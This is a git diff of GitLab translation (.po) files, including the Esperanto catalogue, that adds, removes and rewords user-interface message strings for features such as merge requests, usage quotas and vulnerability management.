+msgstr ""
+
msgid "There are currently no events."
msgstr ""
@@ -34543,9 +35150,6 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
-msgid "There are pending advanced search migrations which require indexing to be paused. Indexing must remain paused until the migrations are completed."
-msgstr ""
-
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
@@ -34558,9 +35162,6 @@ msgstr ""
msgid "There are several size limits in place."
msgstr ""
-msgid "There is a halted Elasticsearch migration"
-msgstr ""
-
msgid "There is already a repository with that name on disk"
msgstr ""
@@ -34936,6 +35537,9 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
+msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
+msgstr ""
+
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
@@ -34954,12 +35558,6 @@ msgstr ""
msgid "This credential has expired"
msgstr ""
-msgid "This date is after the due date, so this epic won't appear in the roadmap."
-msgstr ""
-
-msgid "This date is before the start date, so this epic won't appear in the roadmap."
-msgstr ""
-
msgid "This device has already been registered with us."
msgstr ""
@@ -35008,6 +35606,12 @@ msgstr ""
msgid "This field is required."
msgstr ""
+msgid "This file was modified for readability, and can't accept suggestions. Edit it directly."
+msgstr ""
+
+msgid "This forked project has the following:"
+msgstr ""
+
msgid "This form is disabled in preview"
msgstr ""
@@ -35062,12 +35666,15 @@ msgstr ""
msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
-msgid "This is a security log of important events involving your account."
+msgid "This is a security log of authentication events involving your account."
msgstr ""
msgid "This is a self-managed instance of GitLab."
msgstr ""
+msgid "This is an experimental feature developed by GitLab Incubation Engineering."
+msgstr ""
+
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -35077,6 +35684,9 @@ msgstr ""
msgid "This is your current session"
msgstr ""
+msgid "This issue is confidential and should only be visible to team members with at least Reporter access."
+msgstr ""
+
msgid "This issue is currently blocked by the following issues:"
msgstr ""
@@ -35212,9 +35822,6 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a draft."
-msgstr ""
-
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
msgstr ""
@@ -35257,6 +35864,9 @@ msgstr ""
msgid "This project has no active access tokens."
msgstr ""
+msgid "This project is %{strongStart}NOT%{strongEnd} a fork, and has the following:"
+msgstr ""
+
msgid "This project is archived and cannot be commented on."
msgstr ""
@@ -35356,7 +35966,7 @@ msgstr ""
msgid "Thread to reply to cannot be found"
msgstr ""
-msgid "Threat Monitoring"
+msgid "Threat monitoring"
msgstr ""
msgid "ThreatMonitoring|Alert Details"
@@ -35900,6 +36510,9 @@ msgstr ""
msgid "To see this project's operational details, contact an owner of group %{groupName} to upgrade the plan. You can also remove the project from the dashboard."
msgstr ""
+msgid "To see what's changed or create a merge request, choose a branch or tag (like %{branch}), or enter a commit (like %{sha})."
+msgstr ""
+
msgid "To set up SAML authentication for your group through an identity provider like Azure, Okta, Onelogin, Ping Identity, or your custom SAML 2.0 provider:"
msgstr ""
@@ -35924,6 +36537,9 @@ msgstr ""
msgid "To use the additional formats, you must start the required %{container_link_start}companion containers%{container_link_end}."
msgstr ""
+msgid "To use the system's default, set this value to 0."
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
@@ -36029,10 +36645,10 @@ msgstr ""
msgid "Too many changes to show."
msgstr ""
-msgid "Too many namespaces enabled. You will need to manage them via the console or the API."
+msgid "Too many namespaces enabled. Manage them through the console or the API."
msgstr ""
-msgid "Too many projects enabled. You will need to manage them via the console or the API."
+msgid "Too many projects enabled. Manage them through the console or the API."
msgstr ""
msgid "TopNav|Go back"
@@ -36053,9 +36669,6 @@ msgstr ""
msgid "Topics"
msgstr ""
-msgid "Topics (optional)"
-msgstr ""
-
msgid "Total"
msgstr ""
@@ -36116,6 +36729,9 @@ msgstr ""
msgid "Track your GitLab projects with GitLab for Slack."
msgstr ""
+msgid "Training mode"
+msgstr ""
+
msgid "Transfer"
msgstr ""
@@ -36286,7 +36902,7 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
-msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgid "Trigger cluster reindexing. Only use this with an index that was created in GitLab 13.0 or later."
msgstr ""
msgid "Trigger manual job"
@@ -36343,6 +36959,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
+msgid "Try out GitLab Pipelines"
+msgstr ""
+
+msgid "Try the troubleshooting steps here."
+msgstr ""
+
msgid "Try to fork again"
msgstr ""
@@ -36541,9 +37163,6 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
-msgid "Unable to save cadence. Please try again"
-msgstr ""
-
msgid "Unable to save iteration. Please try again"
msgstr ""
@@ -36649,6 +37268,9 @@ msgstr ""
msgid "Unknown response text"
msgstr ""
+msgid "Unknown screen"
+msgstr ""
+
msgid "Unknown user"
msgstr ""
@@ -36733,9 +37355,6 @@ msgstr ""
msgid "Unsupported todo type passed. Supported todo types are: %{todo_types}"
msgstr ""
-msgid "Until"
-msgstr ""
-
msgid "Until revoked, expired personal access tokens pose a security risk."
msgstr ""
@@ -36844,6 +37463,9 @@ msgstr ""
msgid "Updating"
msgstr ""
+msgid "Updating the attention request for %{username} failed."
+msgstr ""
+
msgid "Updating…"
msgstr ""
@@ -36886,6 +37508,9 @@ msgstr ""
msgid "Upload license"
msgstr ""
+msgid "Upload new file"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -36895,9 +37520,6 @@ msgstr ""
msgid "Uploading changes to terminal"
msgstr ""
-msgid "Uploads"
-msgstr ""
-
msgid "Upon performing this action, the contents of this group, its subgroup and projects will be permanently deleted after %{deletion_adjourned_period} days on %{date}. Until that time:"
msgstr ""
@@ -36910,9 +37532,6 @@ msgstr ""
msgid "Upvotes"
msgstr ""
-msgid "Usage"
-msgstr ""
-
msgid "Usage Trends"
msgstr ""
@@ -36967,12 +37586,6 @@ msgstr ""
msgid "UsageQuota|Increase storage temporarily"
msgstr ""
-msgid "UsageQuota|LFS Objects"
-msgstr ""
-
-msgid "UsageQuota|LFS Storage"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
@@ -36982,9 +37595,15 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|No CI minutes usage data available."
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
+msgid "UsageQuota|Pending Members"
+msgstr ""
+
msgid "UsageQuota|Pipeline artifacts and job artifacts, created with CI/CD."
msgstr ""
@@ -36997,9 +37616,6 @@ msgstr ""
msgid "UsageQuota|Purchased storage available"
msgstr ""
-msgid "UsageQuota|Repositories"
-msgstr ""
-
msgid "UsageQuota|Repository"
msgstr ""
@@ -37033,18 +37649,6 @@ msgstr ""
msgid "UsageQuota|This namespace has no projects which use shared runners"
msgstr ""
-msgid "UsageQuota|This project is at risk of being locked because purchased storage is running low."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it is using %{actualRepositorySizeLimit} of free storage and there is no purchased storage available."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it used %{actualRepositorySizeLimit} of free storage and all the purchased storage."
-msgstr ""
-
-msgid "UsageQuota|This project is near the free %{actualRepositorySizeLimit} limit and at risk of being locked."
-msgstr ""
-
msgid "UsageQuota|Total excess storage used"
msgstr ""
@@ -37090,9 +37694,6 @@ msgstr ""
msgid "UsageQuota|Wiki content."
msgstr ""
-msgid "UsageQuota|Wikis"
-msgstr ""
-
msgid "UsageQuota|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{actualRepositorySizeLimit} limit."
msgstr ""
@@ -37285,9 +37886,6 @@ msgstr ""
msgid "Used programming language"
msgstr ""
-msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
-msgstr ""
-
msgid "Used to help configure your identity provider"
msgstr ""
@@ -37591,9 +38189,6 @@ msgstr ""
msgid "Username"
msgstr ""
-msgid "Username (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Username (optional)"
msgstr ""
@@ -37819,6 +38414,18 @@ msgstr ""
msgid "Verification status"
msgstr ""
+msgid "VerificationReminder|Pipeline failing? To keep GitLab spam and abuse free we ask that you verify your identity with a valid payment method."
+msgstr ""
+
+msgid "VerificationReminder|Until then, free pipeline minutes on shared runners are unavailable. %{validateLinkStart}Validate your account%{validateLinkEnd} or %{docsLinkStart}use your own runners%{docsLinkEnd}."
+msgstr ""
+
+msgid "VerificationReminder|Your account has been validated."
+msgstr ""
+
+msgid "VerificationReminder|You’ll now be able to take advantage of free pipeline minutes on shared runners."
+msgstr ""
+
msgid "Verified"
msgstr ""
@@ -37843,6 +38450,9 @@ msgstr ""
msgid "View Documentation"
msgstr ""
+msgid "View Stage: %{title}"
+msgstr ""
+
msgid "View alert details at"
msgstr ""
@@ -37940,6 +38550,9 @@ msgstr ""
msgid "View merge request"
msgstr ""
+msgid "View milestones"
+msgstr ""
+
msgid "View on %{url}"
msgstr ""
@@ -38050,6 +38663,9 @@ msgstr ""
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
+msgid "Vulnerability report"
+msgstr ""
+
msgid "Vulnerability resolved in %{branch}"
msgstr ""
@@ -38062,9 +38678,6 @@ msgstr ""
msgid "VulnerabilityChart|Severity"
msgstr ""
-msgid "VulnerabilityManagement, Fetching linked Jira issues"
-msgstr ""
-
msgid "VulnerabilityManagement|%{statusStart}Confirmed%{statusEnd} %{timeago} by %{user}"
msgstr ""
@@ -38080,6 +38693,9 @@ msgstr ""
msgid "VulnerabilityManagement|A true-positive and will fix"
msgstr ""
+msgid "VulnerabilityManagement|Add vulnerability finding"
+msgstr ""
+
msgid "VulnerabilityManagement|Change status"
msgstr ""
@@ -38089,7 +38705,10 @@ msgstr ""
msgid "VulnerabilityManagement|Create Jira issue"
msgstr ""
-msgid "VulnerabilityManagement|Detected"
+msgid "VulnerabilityManagement|Fetching linked Jira issues"
+msgstr ""
+
+msgid "VulnerabilityManagement|Manually add a vulnerability entry into the vulnerability report."
msgstr ""
msgid "VulnerabilityManagement|Needs triage"
@@ -38101,6 +38720,9 @@ msgstr ""
msgid "VulnerabilityManagement|Related Jira issues"
msgstr ""
+msgid "VulnerabilityManagement|Requires assessment"
+msgstr ""
+
msgid "VulnerabilityManagement|Something went wrong while trying to delete the comment. Please try again later."
msgstr ""
@@ -38125,9 +38747,15 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong, could not update vulnerability state."
msgstr ""
+msgid "VulnerabilityManagement|Summary, detailed description, steps to reproduce, etc."
+msgstr ""
+
msgid "VulnerabilityManagement|Verified as fixed or mitigated"
msgstr ""
+msgid "VulnerabilityManagement|Vulnerability name or type. Ex: Cross-site scripting"
+msgstr ""
+
msgid "VulnerabilityManagement|Will not fix or a false-positive"
msgstr ""
@@ -38140,10 +38768,10 @@ msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Detected"
+msgid "VulnerabilityStatusTypes|Dismissed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Dismissed"
+msgid "VulnerabilityStatusTypes|Needs triage"
msgstr ""
msgid "VulnerabilityStatusTypes|Resolved"
@@ -38317,7 +38945,7 @@ msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
-msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgid "We invite you to %{featureLinkStart}request a feature%{featureLinkEnd}, %{bugLinkStart}report a bug%{bugLinkEnd} or %{feedbackLinkStart}share feedback%{feedbackLinkEnd}"
msgstr ""
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
@@ -38623,6 +39251,9 @@ msgstr ""
msgid "When a runner is locked, it cannot be assigned to other projects"
msgstr ""
+msgid "When enabled, SSH keys with no expiry date or an invalid expiration date are no longer accepted. Leave blank for no limit."
+msgstr ""
+
msgid "When enabled, existing personal access tokens may be revoked. Leave blank for no limit."
msgstr ""
@@ -38635,7 +39266,7 @@ msgstr ""
msgid "When merge requests and commits in the default branch close, any issues they reference also close."
msgstr ""
-msgid "When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgid "When paused, GitLab still tracks the changes. This is useful for cluster/index migrations."
msgstr ""
msgid "When this merge request is accepted"
@@ -38808,6 +39439,12 @@ msgstr ""
msgid "WikiPage|Create page"
msgstr ""
+msgid "WikiPage|Edit rich text"
+msgstr ""
+
+msgid "WikiPage|Edit source"
+msgstr ""
+
msgid "WikiPage|Format"
msgstr ""
@@ -38817,7 +39454,7 @@ msgstr ""
msgid "WikiPage|Keep editing"
msgstr ""
-msgid "WikiPage|More Information."
+msgid "WikiPage|Learn more."
msgstr ""
msgid "WikiPage|Page title"
@@ -38931,6 +39568,9 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "Work in progress- click here to find out more"
+msgstr ""
+
msgid "WorkItem|Work Items"
msgstr ""
@@ -39204,13 +39844,10 @@ msgstr ""
msgid "You can only %{action} files when you are on a branch"
msgstr ""
-msgid "You can only edit files when you are on a branch"
+msgid "You can only add up to %{max_contacts} contacts at one time"
msgstr ""
-msgid "You can only merge once the items above are resolved."
-msgstr ""
-
-msgid "You can only merge once this merge request is approved."
+msgid "You can only edit files when you are on a branch"
msgstr ""
msgid "You can only transfer the project to namespaces you manage."
@@ -39246,6 +39883,9 @@ msgstr ""
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
+msgid "You cannot combine replace_ids with add_ids or remove_ids"
+msgstr ""
+
msgid "You cannot impersonate a blocked user"
msgstr ""
@@ -39276,12 +39916,18 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
+msgid "You do not have any Google Cloud projects. Please create a Google Cloud project and then reload this page."
+msgstr ""
+
msgid "You do not have any subscriptions yet"
msgstr ""
msgid "You do not have permission to access dora metrics."
msgstr ""
+msgid "You do not have permission to approve a member"
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -39333,6 +39979,11 @@ msgstr ""
msgid "You don’t have access to Value Stream Analytics for this group"
msgstr ""
+msgid "You have %{pendingMembersCount} pending member that needs approval."
+msgid_plural "You have %{pendingMembersCount} pending members that need approval."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -39381,6 +40032,9 @@ msgstr ""
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
+msgid "You have insufficient permissions to set customer relations contacts for this issue"
+msgstr ""
+
msgid "You have insufficient permissions to update an on-call schedule for this project"
msgstr ""
@@ -39516,9 +40170,6 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
@@ -39603,7 +40254,7 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. Use it to view how you compare with other organizations."
+msgid "Your DevOps Reports give an overview of how you are using GitLab from a feature perspective. Use them to view how you compare with other organizations, and how your teams compare against each other."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -39669,6 +40320,12 @@ msgstr ""
msgid "Your account has been deactivated. You will not be able to: "
msgstr ""
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_password_link_start}set a password%{link_end} or %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
msgid "Your account is locked."
msgstr ""
@@ -39861,6 +40518,9 @@ msgstr ""
msgid "Your sign-in page is %{url}."
msgstr ""
+msgid "Your snippets"
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -39875,15 +40535,9 @@ msgstr ""
msgid "ZenTaoIntegration|Failed to load ZenTao issue. View the issue in ZenTao, or reload the page."
msgstr ""
-msgid "ZenTaoIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}ZenTao%{linkEnd}."
-msgstr ""
-
msgid "ZenTaoIntegration|This is a ZenTao user."
msgstr ""
-msgid "ZenTaoIntegration|This issue is synchronized with ZenTao"
-msgstr ""
-
msgid "ZenTaoIntegration|ZenTao user"
msgstr ""
@@ -39893,6 +40547,9 @@ msgstr ""
msgid "ZentaoIntegration|Base URL of the ZenTao instance."
msgstr ""
+msgid "ZentaoIntegration|Before you enable this integration, you must configure ZenTao. For more details, read the %{link_start}ZenTao integration documentation%{link_end}."
+msgstr ""
+
msgid "ZentaoIntegration|Enter new ZenTao API token"
msgstr ""
@@ -39958,9 +40615,6 @@ msgstr ""
msgid "added"
msgstr ""
-msgid "added %{created_at_timeago}"
-msgstr ""
-
msgid "added %{emails}"
msgstr ""
@@ -40056,6 +40710,9 @@ msgstr ""
msgid "can't be nil"
msgstr ""
+msgid "can't be solely blank"
+msgstr ""
+
msgid "can't be the same as the source project"
msgstr ""
@@ -40089,9 +40746,6 @@ msgstr ""
msgid "cannot be enabled until a valid credit card is on file"
msgstr ""
-msgid "cannot be modified"
-msgstr ""
-
msgid "cannot be used for user namespace"
msgstr ""
@@ -40262,6 +40916,9 @@ msgstr ""
msgid "ciReport|Failed to load %{reportName} report"
msgstr ""
+msgid "ciReport|Failed to load Code Quality report"
+msgstr ""
+
msgid "ciReport|Fixed"
msgstr ""
@@ -40271,6 +40928,9 @@ msgstr ""
msgid "ciReport|Found %{issuesWithCount}"
msgstr ""
+msgid "ciReport|IaC Scanning"
+msgstr ""
+
msgid "ciReport|Investigate this vulnerability by creating an issue"
msgstr ""
@@ -40294,6 +40954,9 @@ msgstr ""
msgid "ciReport|Loading %{reportName} report"
msgstr ""
+msgid "ciReport|Loading Code Quality report"
+msgstr ""
+
msgid "ciReport|Manage licenses"
msgstr ""
@@ -40330,6 +40993,9 @@ msgstr ""
msgid "ciReport|Security scanning failed loading any results"
msgstr ""
+msgid "ciReport|Showing %{fetchedItems} of %{totalItems} items"
+msgstr ""
+
msgid "ciReport|Solution"
msgstr ""
@@ -40700,21 +41366,9 @@ msgstr ""
msgid "in"
msgstr ""
-msgid "in Infrastructure :: Kubernetes clusters"
-msgstr ""
-
-msgid "in all GitLab"
-msgstr ""
-
-msgid "in group"
-msgstr ""
-
msgid "in group %{link_to_group}"
msgstr ""
-msgid "in project"
-msgstr ""
-
msgid "in project %{link_to_project}"
msgstr ""
@@ -40867,9 +41521,6 @@ msgstr ""
msgid "log in"
msgstr ""
-msgid "managed"
-msgstr ""
-
msgid "manual"
msgstr ""
@@ -40899,13 +41550,13 @@ msgstr ""
msgid "most recent deployment"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} and %{mergeCommitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} and %{mergeCommitCount} to %{targetBranch}%{squashedCommits}."
msgstr ""
-msgid "mrWidgetCommitsAdded|1 merge commit"
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} to %{targetBranch}."
msgstr ""
msgid "mrWidgetNothingToMerge|This merge request contains no changes."
@@ -40917,6 +41568,9 @@ msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
msgstr ""
+msgid "mrWidget|%{boldHeaderStart}Looks like there's no pipeline here.%{boldHeaderEnd}"
+msgstr ""
+
msgid "mrWidget|%{linkStart}Set up now%{linkEnd} to analyze your source code for known security vulnerabilities."
msgstr ""
@@ -40935,9 +41589,6 @@ msgstr ""
msgid "mrWidget|%{metricsLinkStart} Memory %{metricsLinkEnd} usage is %{emphasisStart} unchanged %{emphasisEnd} at %{memoryFrom}MB"
msgstr ""
-msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
-msgstr ""
-
msgid "mrWidget|A merge train is a queued list of merge requests waiting to be merged into the target branch. The changes in each merge request are combined with the changes in earlier merge requests and tested before merge."
msgstr ""
@@ -40980,9 +41631,6 @@ msgstr ""
msgid "mrWidget|Approved by you and others"
msgstr ""
-msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
-msgstr ""
-
msgid "mrWidget|Cancel auto-merge"
msgstr ""
@@ -41015,6 +41663,9 @@ msgstr ""
msgid "mrWidget|Delete source branch"
msgstr ""
+msgid "mrWidget|Deletes the source branch"
+msgstr ""
+
msgid "mrWidget|Deployment statistics are not available currently"
msgstr ""
@@ -41024,12 +41675,18 @@ msgstr ""
msgid "mrWidget|Dismiss"
msgstr ""
+msgid "mrWidget|Does not delete the source branch"
+msgstr ""
+
msgid "mrWidget|Email patches"
msgstr ""
msgid "mrWidget|Failed to load deployment statistics"
msgstr ""
+msgid "mrWidget|GitLab %{linkStart}CI/CD can automatically build, test, and deploy your application.%{linkEnd} It only takes a few minutes to get started, and we can help you create a pipeline configuration file."
+msgstr ""
+
msgid "mrWidget|Hide %{widget} details"
msgstr ""
@@ -41065,21 +41722,36 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: denied licenses must be removed."
+msgstr ""
+
msgid "mrWidget|Merge blocked: fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
+msgid "mrWidget|Merge blocked: merge conflicts must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
msgstr ""
+msgid "mrWidget|Merge blocked: this merge request must be approved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
msgid "mrWidget|Merge locally"
msgstr ""
+msgid "mrWidget|Merge unavailable: merge requests are read-only on archived projects."
+msgstr ""
+
msgid "mrWidget|Merged by"
msgstr ""
+msgid "mrWidget|Merges changes into"
+msgstr ""
+
msgid "mrWidget|Merging! Changes are being shipped…"
msgstr ""
@@ -41092,6 +41764,15 @@ msgstr ""
msgid "mrWidget|Merging! Everything's good…"
msgstr ""
+msgid "mrWidget|Merging! Lift-off in 5… 4… 3…"
+msgstr ""
+
+msgid "mrWidget|Merging! Take a deep breath and relax…"
+msgstr ""
+
+msgid "mrWidget|Merging! The changes are leaving the station…"
+msgstr ""
+
msgid "mrWidget|Merging! This is going to be great…"
msgstr ""
@@ -41131,9 +41812,6 @@ msgstr ""
msgid "mrWidget|Resolve conflicts"
msgstr ""
-msgid "mrWidget|Resolve these conflicts or ask someone with write access to this repository to merge it locally"
-msgstr ""
-
msgid "mrWidget|Revert"
msgstr ""
@@ -41164,9 +41842,6 @@ msgstr ""
msgid "mrWidget|The changes were not merged into"
msgstr ""
-msgid "mrWidget|The changes will be merged into"
-msgstr ""
-
msgid "mrWidget|The pipeline for this merge request did not complete. Push a new commit to fix the failure, or check the %{linkStart}troubleshooting documentation%{linkEnd} to see other possible actions."
msgstr ""
@@ -41182,39 +41857,30 @@ msgstr ""
msgid "mrWidget|The source branch is being deleted"
msgstr ""
-msgid "mrWidget|The source branch will be deleted"
-msgstr ""
-
-msgid "mrWidget|The source branch will not be deleted"
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|There are merge conflicts"
+msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|To change these default messages, edit the templates for both the merge and squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|This project is archived, write access has been disabled"
+msgid "mrWidget|To change this default message, edit the template for merge commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
+msgid "mrWidget|To change this default message, edit the template for squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
msgstr ""
-msgid "mrWidget|Use %{linkStart}CI pipelines to test your code%{linkEnd} by simply adding a GitLab CI configuration file to your project. It only takes a minute to make your code more secure and robust."
+msgid "mrWidget|Users who can write to the source or target branches can resolve the conflicts."
msgstr ""
msgid "mrWidget|What is a merge train?"
msgstr ""
-msgid "mrWidget|You can merge after removing denied licenses"
-msgstr ""
-
-msgid "mrWidget|You can only merge once this merge request is approved."
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
@@ -41375,6 +42041,18 @@ msgstr ""
msgid "pipeline schedules documentation"
msgstr ""
+msgid "pipelineEditorWalkthrough|Let's do this!"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|See how GitLab pipelines work"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|This %{codeStart}.gitlab-ci.yml%{codeEnd} file creates a simple test pipeline."
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|Use the %{boldStart}commit changes%{boldEnd} button at the bottom of the page to run the pipeline."
+msgstr ""
+
msgid "pod_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -41555,9 +42233,6 @@ msgstr ""
msgid "smartcn custom analyzer"
msgstr ""
-msgid "sort:"
-msgstr ""
-
msgid "source"
msgstr ""
@@ -41582,6 +42257,9 @@ msgstr ""
msgid "starts on %{timebox_start_date}"
msgstr ""
+msgid "structure is too large"
+msgstr ""
+
msgid "stuck"
msgstr ""
diff --git a/locale/eo/gitlab.po b/locale/eo/gitlab.po
index 840e9c164c2..c05c47362b3 100644
--- a/locale/eo/gitlab.po
+++ b/locale/eo/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: eo\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-11-02 00:42\n"
+"PO-Revision-Date: 2021-12-06 19:00\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -70,9 +70,6 @@ msgstr ""
msgid "\"%{repository_name}\" size (%{repository_size}) is larger than the limit of %{limit}."
msgstr ""
-msgid "\"el\" parameter is required for createInstance()"
-msgstr ""
-
msgid "#%{issueIid} (closed)"
msgstr ""
@@ -239,6 +236,11 @@ msgid_plural "%d fixed test results"
msgstr[0] ""
msgstr[1] ""
+msgid "%d fork"
+msgid_plural "%d forks"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d group"
msgid_plural "%d groups"
msgstr[0] ""
@@ -289,6 +291,11 @@ msgid_plural "%d merge requests that you don't have access to."
msgstr[0] ""
msgstr[1] ""
+msgid "%d merge requests"
+msgid_plural "%d merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d metric"
msgid_plural "%d metrics"
msgstr[0] ""
@@ -354,6 +361,11 @@ msgid_plural "%d shards selected"
msgstr[0] ""
msgstr[1] ""
+msgid "%d star"
+msgid_plural "%d stars"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d tag"
msgid_plural "%d tags"
msgstr[0] ""
@@ -407,6 +419,12 @@ msgstr[1] "%s enmetadoj estis transsaltitaj, por ne troÅarÄi la sistemon."
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{actionText} & close %{noteable}"
+msgstr ""
+
+msgid "%{actionText} & reopen %{noteable}"
+msgstr ""
+
msgid "%{address} is an invalid IP address range"
msgstr ""
@@ -483,6 +501,11 @@ msgstr[1] ""
msgid "%{count} approvals from %{name}"
msgstr ""
+msgid "%{count} contact"
+msgid_plural "%{count} contacts"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} files touched"
msgstr ""
@@ -705,7 +728,7 @@ msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request draft from merging before it's ready."
msgstr ""
msgid "%{link_start}What information does GitLab Inc. collect?%{link_end}"
@@ -759,6 +782,9 @@ msgstr ""
msgid "%{name} is already being used for another emoji"
msgstr ""
+msgid "%{name} is reserved for %{type} report type"
+msgstr ""
+
msgid "%{name} is scheduled for %{action}"
msgstr ""
@@ -791,9 +817,6 @@ msgstr ""
msgid "%{oneYearAgo} - %{today}"
msgstr ""
-msgid "%{openOrClose} %{noteable}"
-msgstr ""
-
msgid "%{openedEpics} open, %{closedEpics} closed"
msgstr ""
@@ -818,6 +841,9 @@ msgstr ""
msgid "%{primary} (%{secondary})"
msgstr ""
+msgid "%{project_path} is a project that you can use to add a README to your GitLab profile. Create a public project and initialize the repository with a README to get started. %{help_link_start}Learn more.%{help_link_end}"
+msgstr ""
+
